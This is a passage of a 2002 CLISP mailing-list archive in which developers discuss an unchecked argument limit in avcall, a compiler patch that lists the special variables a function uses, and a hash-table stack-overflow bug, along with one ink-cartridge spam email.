# words in argument-list and temporary structure storage.=20 */=20 #define __AV_ALIST_WORDS 256=20 Without argument checking, there will be core dumps when given too many = arguments. Neither avcall itself nor its caller (src/foreign.d) check = this. As a result, you can blow the Lisp application. [Typical vulnerability hunting with C: go search for places with = arbitrary limits and see whether they are checked.] BTW, while a typical UNIX shell may expand many *, there's a limit on = the length. That's where xargs comes in handy. >fgrep mumbojumbo `find ~/sspace/src/clisp-2.28/ -type f -print` -- Too many words from `` >find ~/sspace/src/clisp-2.28/ -type f -print | xargs fgrep mumbojumbo -- works BTW, IMHO libraries should export the values (via API) with which they = were compiled, as part of a well-design API: size_t get_avcall_limit() {return __AV_ALIST_WORDS;} Because the visible #define doesn't say anything about the value at the = time they were compiled: that' the only one which counts. I filed bug-report #654718 It's never been a problem in practive so far - apparently. Regards, J=F6rg H=F6hle. From sds@gnu.org Mon Dec 16 10:12:46 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18NzjR-0006cX-00 for ; Mon, 16 Dec 2002 10:12:45 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021216181236.MCTA10203.pop017.verizon.net@loiso.podval.org>; Mon, 16 Dec 2002 12:12:36 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBGIDo9O030720; Mon, 16 Dec 2002 13:13:50 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBGIDnlT030716; Mon, 16 Dec 2002 13:13:49 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] buffer overflow weakness in avcall/ffcall (was: execl, et al.) References: <9F8582E37B2EE5498E76392AEDDCD3FEBB4240@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FEBB4240@G8PQD.blf01.telekom.de> Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.32.163] at Mon, 16 Dec 2002 12:12:35 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 16 10:13:03 2002 X-Original-Date: 16 Dec 2002 13:13:48 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FEBB4240@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] buffer overflow weakness in avcall/ffcall (was: execl, et al.)" > * Sent on Mon, 16 Dec 2002 18:25:15 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > > I filed bug-report #654718 Could you please _fix_ the bug? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux will write code that writes code that writes code for food From dxs@privatei.com Mon Dec 16 10:34:51 2002 Received: from mantis.privatei.com ([208.203.136.20]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18O04o-00028v-00 for ; Mon, 16 Dec 2002 10:34:50 -0800 Received: from dxs by mantis.privatei.com with local (Exim 3.36 #2) id 18O05b-0004Cx-00 for clisp-list@sourceforge.net; Mon, 16 Dec 2002 11:35:39 -0700 To: clisp-list@sourceforge.net From: dan.stanger@ieee.org Reply-to: dan.stanger@ieee.org X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] Question about the compiler Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 16 10:35:05 2002 X-Original-Date: Mon, 16 Dec 2002 11:35:39 -0700 (MST) Is it possible to get a list of global variables used in a function from the compiler? Currently, I am using clisp with maxima, and xref is being used to do a crossreference. However it lists local variables and global without indicating which ones are global, and that information would be a big help. Thanks, Dan Stanger From sds@gnu.org Mon Dec 16 11:38:14 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18O149-0003dL-00 for ; Mon, 16 Dec 2002 11:38:13 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021216193807.MXAF10203.pop017.verizon.net@loiso.podval.org>; Mon, 16 Dec 2002 13:38:07 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBGJdM9O030810; Mon, 16 Dec 2002 14:39:23 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBGJdMoD030806; Mon, 16 Dec 2002 14:39:22 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] Question about the compiler References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.32.163] at Mon, 16 Dec 2002 13:38:07 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 16 11:39:02 2002 X-Original-Date: 16 Dec 2002 14:39:22 -0500 > * In message > * On the subject of "[clisp-list] Question about the compiler" > * Sent on Mon, 16 Dec 2002 11:35:39 -0700 (MST) > * Honorable dan.stanger@ieee.org writes: > > Is it possible to get a list of global variables used in a function > from the compiler? if the function is a compiled closure, then yes: look at the GETVALUE and SETVALUE instructions in the byte code. if it is an interpreted closure, the code-walker would need to be modified to do this.. if it is a built-in function written in C, no. it would be nice to display this information in the disassembly... you probably want a CLOSURE-FREE-VARIABLES function, right? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Booze is the answer. I can't remember the question. From dxs@privatei.com Mon Dec 16 12:07:33 2002 Received: from mantis.privatei.com ([208.203.136.20]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18O1WV-0000gr-00 for ; Mon, 16 Dec 2002 12:07:31 -0800 Received: from dxs by mantis.privatei.com with local (Exim 3.36 #2) id 18O1XJ-00081a-00 for clisp-list@sourceforge.net; Mon, 16 Dec 2002 13:08:21 -0700 Subject: Re: [clisp-list] Question about the compiler To: clisp-list@sourceforge.net From: dan.stanger@ieee.org Reply-to: dan.stanger@ieee.org X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 16 12:08:22 2002 X-Original-Date: Mon, 16 Dec 2002 13:08:21 -0700 (MST) >> Is it possible to get a list of global variables used in a function >> from the compiler? > >if the function is a compiled closure, then yes: look at the >GETVALUE and SETVALUE instructions in the byte code. > >if it is an interpreted closure, the code-walker would need to be >modified to do this.. What is the difference between a compiled and interpreted closure. > >if it is a built-in function written in C, no. > >it would be nice to display this information in the disassembly... It would be helpful if it was in 1 line with a function name, Somthing like: funcname uses globals : global1 global2 ... or Global usage: funcname1 : global1 global2 ... funcname2 : global1 global2 ... > >you probably want a CLOSURE-FREE-VARIABLES function, right? How would I use this function? Which would be easier, to modify the compiler to produce this, or to hack together a awk script to do this? Another thing I would like is a indication of how long the function is, maybe in terms of symbols, so that I could identify really short functions, say ones whos length is maybe 5 to 10 symbols. My goal here is to use the compiler output as a programming tool. From sds@gnu.org Mon Dec 16 15:09:29 2002 Received: from [206.46.170.212] (helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18O4Ma-0005Co-00 for ; Mon, 16 Dec 2002 15:09:28 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021216230902.HOKC4558.pop018.verizon.net@loiso.podval.org>; Mon, 16 Dec 2002 17:09:02 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBGNAJ9O031558; Mon, 16 Dec 2002 18:10:20 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBGNAIY0031554; Mon, 16 Dec 2002 18:10:18 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] Question about the compiler References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 89 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop018.verizon.net from [151.203.32.163] at Mon, 16 Dec 2002 17:09:02 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 16 15:10:05 2002 X-Original-Date: 16 Dec 2002 18:10:18 -0500 > * In message > * On the subject of "Re: [clisp-list] Question about the compiler" > * Sent on Mon, 16 Dec 2002 13:08:21 -0700 (MST) > * Honorable dan.stanger@ieee.org writes: > > >> Is it possible to get a list of global variables used in a function > >> from the compiler? > > > >if the function is a compiled closure, then yes: look at the > >GETVALUE and SETVALUE instructions in the byte code. > > > >if it is an interpreted closure, the code-walker would need to be > >modified to do this.. > > What is the difference between a compiled and interpreted closure. when you compile an interpreted closure, you get a compiled one. > Which would be easier, to modify the compiler to produce this, I will change DISASSEMBLE to print this. > or to hack together a awk script to do this? huh? > Another thing I would like is a indication of how long the function > is, maybe in terms of symbols, so that I could identify really short > functions, say ones whos length is maybe 5 to 10 symbols. My goal > here is to use the compiler output as a programming tool. see , specifically # Execution speed of a program can easily be understood by looking at the output of the DISASSEMBLE function. A rule of thumb is that every elementary instruction costs 1 time unit, whereas a function call costs 3 to 4 time units. I think what you want to do is to to pass :LISTING to COMPILE-FILE (or -l after -c on the command line) to produce the disassembly. see and . then you can parse those files, looking for "^[0-9]+ byte-code instructions:$" as the indicator of the function size, and for "reads special variables:" and "writes special variables:" (you will need to apply the appended patch) On a second thought, you can just grep disassembly for SETVALUE and GETVALUE and look at the variable name after the ";". use EXT:SPECIAL-VARIABLE-P to check whether the symbol has been declared special. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Illiterate? Write today, for free help! --- compiler.lisp.~1.111.~ 2002-11-07 04:14:01.000000000 -0500 +++ compiler.lisp 2002-12-16 18:04:14.000000000 -0500 @@ -10487,7 +10487,21 @@ (let ((const-string-list (mapcar #'(lambda (x) (sys::write-to-short-string x 35)) const-list)) + special-vars-read special-vars-write (lap-list (disassemble-LAP byte-list const-list))) + (dolist (L lap-list) + (when (consp (cdr L)) + (case (cadr L) ; instruction + ((GETVALUE GETVALUE&PUSH) + (pushnew (nth (caddr L) const-list) special-vars-read)) + ((SETVALUE) + (pushnew (nth (caddr L) const-list) special-vars-write))))) + (when special-vars-read + (format stream (TEXT "~%reads special variable~P: ~S") + (length special-vars-read) special-vars-read)) + (when special-vars-write + (format stream (TEXT "~%writes special variable~P : ~S") + (length special-vars-write) special-vars-write)) (format stream (TEXT "~%~S byte-code instruction~:P:") (length lap-list)) (dolist (L lap-list) (let ((PC (car L)) (instr (cdr L))) From dxs@privatei.com Mon Dec 16 15:30:40 2002 Received: from mantis.privatei.com ([208.203.136.20]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18O4h5-0000Hm-00 for ; Mon, 16 Dec 2002 15:30:39 -0800 Received: from dxs by mantis.privatei.com with local (Exim 3.36 #2) id 18O4hv-0008Vn-00 for clisp-list@sourceforge.net; Mon, 16 Dec 2002 16:31:31 -0700 To: clisp-list@sourceforge.net From: dan.stanger@ieee.org Reply-to: dan.stanger@ieee.org X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] Compiler output Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 16 15:31:10 2002 X-Original-Date: Mon, 16 Dec 2002 16:31:31 -0700 (MST) Thanks, Sam for providing this. I will try it tonight. My goal with function length is not to determine speed, but rather to find places where one or 2 line functions were written, to see if they add value to understanding the code, or if the same one or 2 line function was written twice. As a example, there is a function haulong, which just calls integer-length, another example is bigp and bignump which have the same implementation. From lisp-clisp-list@m.gmane.org Mon Dec 16 20:51:05 2002 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18O9h9-00047Y-00 for ; Mon, 16 Dec 2002 20:51:03 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18O9gj-00074l-00 for ; Tue, 17 Dec 2002 05:50:37 +0100 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18O9dH-0006wD-00 for ; Tue, 17 Dec 2002 05:47:03 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 22 Message-ID: References: Reply-To: sds@gnu.org NNTP-Posting-Host: pool-151-203-32-163.bos.east.verizon.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1040100422 23911 151.203.32.163 (17 Dec 2002 04:47:02 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Tue, 17 Dec 2002 04:47:02 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Compiler output Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 16 20:52:02 2002 X-Original-Date: 16 Dec 2002 23:48:46 -0500 > * In message > * On the subject of "Compiler output" > * Sent on Mon, 16 Dec 2002 16:31:31 -0700 (MST) > * Honorable dan.stanger@ieee.org writes: > > Thanks, Sam for providing this. I will try it tonight. you are welcome! > My goal with function length is not to determine speed, but rather to > find places where one or 2 line functions were written, to see if they > add value to understanding the code, or if the same one or 2 line > function was written twice. As a example, there is a function > haulong, which just calls integer-length, another example is bigp and > bignump which have the same implementation. see `cllib:code-complexity' in -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Daddy, why doesn't this magnet pick up this floppy disk? From Sales2@inkjetscentral.com Tue Dec 17 05:00:00 2002 Received: from atl-wan-d-160.atl.dsl.cerfnet.com ([63.242.195.160] helo=Inkjetscentral.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18OHKI-0006ta-00 for ; Tue, 17 Dec 2002 04:59:58 -0800 Received: from inkjetscentral.com ([192.168.1.100] RDNS failed) by Inkjetscentral.com with Microsoft SMTPSVC(5.0.2195.5329); Sun, 15 Dec 2002 00:18:00 -0500 Message-ID: <41102-220021201551759677@inkjetscentral.com> From: "" To: "clisp-list@lists.sourceforge.net" MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_84815C5ABAF209EF376268C8" X-OriginalArrivalTime: 15 Dec 2002 05:18:00.0358 (UTC) FILETIME=[55ED1460:01C2A3F9] Subject: [clisp-list] Holiday Savings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 17 05:00:09 2002 X-Original-Date: Sun, 15 Dec 2002 00:17:59 -0500 This is a multi-part message in MIME format. ------=_NextPart_84815C5ABAF209EF376268C8 Content-type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable =20 =20 =20 =20 =20 =20 =20 =20 =20 Haveyou replaced your ink cartridgelately? Ifyou have, you know IT AIN'T CHEAP. Howcan something so LITTLE costSO MUCH?!? DON'Tlet retail stores take you for aride.Getthe printer products you = need atFAIR and REASONABLE prices. Howreasonable? =20 $6.95comparedto $22.99 $7.95comparedto $25.35 $9.95comparedto $28.99 Andthere are NAMEBRAND products. HP,Canon, Epson, Compaq. Names youknow and products you trust. But = youdon't have to sacrifice CASH forQUALITY! Compareprices side by side and thesavings are OBVIOUS. Yousave up to 75%! Clickhere to find MORE deals just likethese! www.inkjetscentral.com =20 =20 Youreceived this email because you signed up at one of E&RMedia partner = websites or you signed up with a party thathas contracted with E&R = Media. To unsubscribe from thislist click here =20 =20 ************************************************************** Scanned by eScan Content-Security and Anti-Virus Software. Visit http://www.mwti.net for more info on eScan and MailScan. ************************************************************** ------=_NextPart_84815C5ABAF209EF376268C8 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable MSN Home
 

Have you replaced your ink = cartridge lately?

If you have, you know IT = AIN'T CHEAP.
How can something so LITTLE = cost SO = MUCH?!?

DON'T let retail stores take you = for a ride. Get the printer products you = need at FAIR and REASONABLE = prices.

How reasonable?

  • $6.95 compared to = $22.99
  • $7.95 compared to = $25.35
  • $9.95 compared to = $28.99

And there are NAME BRAND = products.
HP, Canon, Epson, Compaq. = Names you know and products you = trust. But you don't have to sacrifice = CASH for = QUALITY!

Compare prices side by side and the savings are = OBVIOUS.
You save up to = 75%!

Click here to find MORE deals = just like these!

www.inkjetscentral.com

 


You received this email because you signed up at one of = E&R Media partner websites or you signed up with a party = that has contracted with E&R Media. To unsubscribe = from this list click here

 




**************************************************************
Scanned by eScan Content-Security and Anti-Virus Software.
Visit http://www.mwti.net for more info on eScan and MailScan.
**************************************************************

------=_NextPart_84815C5ABAF209EF376268C8-- From sds@gnu.org Tue Dec 17 07:19:08 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18OJUy-00040C-00 for ; Tue, 17 Dec 2002 07:19:08 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021217151902.KYJP24616.pop015.verizon.net@loiso.podval.org>; Tue, 17 Dec 2002 09:19:02 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBHFKT9O002769; Tue, 17 Dec 2002 10:20:29 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBHFKSVV002765; Tue, 17 Dec 2002 10:20:28 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: Subject: Re: [clisp-list] Re: Compiler output References: <3DFF2B54.1C5945F4@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DFF2B54.1C5945F4@ieee.org> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.32.163] at Tue, 17 Dec 2002 09:19:01 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 17 07:20:02 2002 X-Original-Date: 17 Dec 2002 10:20:28 -0500 > * In message <3DFF2B54.1C5945F4@ieee.org> > * On the subject of "Re: [clisp-list] Re: Compiler output" > * Sent on Tue, 17 Dec 2002 06:49:08 -0700 > * Honorable Dan Stanger writes: > > Sam Steingold wrote: > > see `cllib:code-complexity' in > > Could you add a function like this to the compiler also, which would > output this information on a per function basis, or per top level > form? what for? you already have cross-platform ! what information internal to CLISP would you like me to export? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Never succeed from the first try - if you do, nobody will think it was hard. From sds@gnu.org Tue Dec 17 08:15:21 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18OKNN-0004oS-00 for ; Tue, 17 Dec 2002 08:15:21 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out001.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021217161508.XKBE4606.out001.verizon.net@loiso.podval.org>; Tue, 17 Dec 2002 10:15:08 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBHGGa9O002885; Tue, 17 Dec 2002 11:16:36 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBHGGaWl002881; Tue, 17 Dec 2002 11:16:36 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: Subject: Re: [clisp-list] Re: Compiler output References: <3DFF2B54.1C5945F4@ieee.org> <3DFF42FD.5CF5CAB2@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DFF42FD.5CF5CAB2@ieee.org> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.32.163] at Tue, 17 Dec 2002 10:15:08 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Dec 17 08:16:05 2002 X-Original-Date: 17 Dec 2002 11:16:36 -0500 > * In message <3DFF42FD.5CF5CAB2@ieee.org> > * On the subject of "Re: [clisp-list] Re: Compiler output" > * Sent on Tue, 17 Dec 2002 08:30:06 -0700 > * Honorable Dan Stanger writes: > > Sam Steingold wrote: > > > what information internal to CLISP would you like me to export? > > When the file is read in, would be the most convenient place to output > this information. The function complexity would be nice to have, I > agree it is not as relevant as globals. special variables are indeed hard to identify without a full-blown code walker and compiler. CVS head CLISP now prints them separately for each disassembly (and you can easily grep disassembly for them in the released versions). the bytecode size for each functions is obviously implementation-specific and it has always been available. > I would have to write a seperate program to compute this, put it in > the makefile, then have another file to look thru rather than one, the > listing file. code complexity is heavily application-specific, not implementation-specific, so the CLISP compiler should not have anything to do with this. you already have a sample `code-complexity' function in CLLIB. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Never succeed from the first try - if you do, nobody will think it was hard. From roland@netquant.com.br Wed Dec 18 13:14:42 2002 Received: from [200.214.221.6] (helo=openbsd.qwc.com.br) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18OlWb-0006xO-00 for ; Wed, 18 Dec 2002 13:14:41 -0800 Received: (qmail 20774 invoked from network); 18 Dec 2002 20:16:53 -0000 Received: from unknown (HELO equants01.netquant.com.br) (192.168.0.10) by openbsd.qwc.com.br with SMTP; 18 Dec 2002 20:16:53 -0000 Message-Id: <5.1.0.14.0.20021218190528.030d49f0@mail.netquant.com.br> X-Sender: roland@netquant.com.br@mail.netquant.com.br X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Roland Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] setf causing stack overfl. w/ hash-table Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 18 13:15:04 2002 X-Original-Date: Wed, 18 Dec 2002 19:17:15 -0200 Hello, I'm using CLISP 2.30 on Windows NT. The following will cause a stack overflow: (let ((table (make-hash-table))) (setf (gethash 'self table) table)) *** - Lisp stack overflow. RESET I suppose this is a bug. I'm not subscribing to this list, so I would appreciate any feedback.If my email doesn't appear reach me at: (map 'string #'code-char '(114 111 108 97 110 100 64 110 101 116 113 117 97 110 116 46 99 111 109 46 98 114)) Thanks, Roland From sds@gnu.org Wed Dec 18 15:50:27 2002 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18OnxL-0002dt-00 for ; Wed, 18 Dec 2002 15:50:27 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out004.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021218235021.RUNN4645.out004.verizon.net@loiso.podval.org>; Wed, 18 Dec 2002 17:50:21 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBINq89O011806; Wed, 18 Dec 2002 18:52:08 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBINq7o8011802; Wed, 18 Dec 2002 18:52:07 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Roland Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] setf causing stack overfl. w/ hash-table References: <5.1.0.14.0.20021218190528.030d49f0@mail.netquant.com.br> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20021218190528.030d49f0@mail.netquant.com.br> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out004.verizon.net from [151.203.32.163] at Wed, 18 Dec 2002 17:50:20 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 18 15:51:04 2002 X-Original-Date: 18 Dec 2002 18:52:07 -0500 > * In message <5.1.0.14.0.20021218190528.030d49f0@mail.netquant.com.br> > * On the subject of "[clisp-list] setf causing stack overfl. w/ hash-table" > * Sent on Wed, 18 Dec 2002 19:17:15 -0200 > * Honorable Roland writes: > > I'm using CLISP 2.30 on Windows NT. > > The following will cause a stack overflow: > > (let ((table (make-hash-table))) > (setf (gethash 'self table) 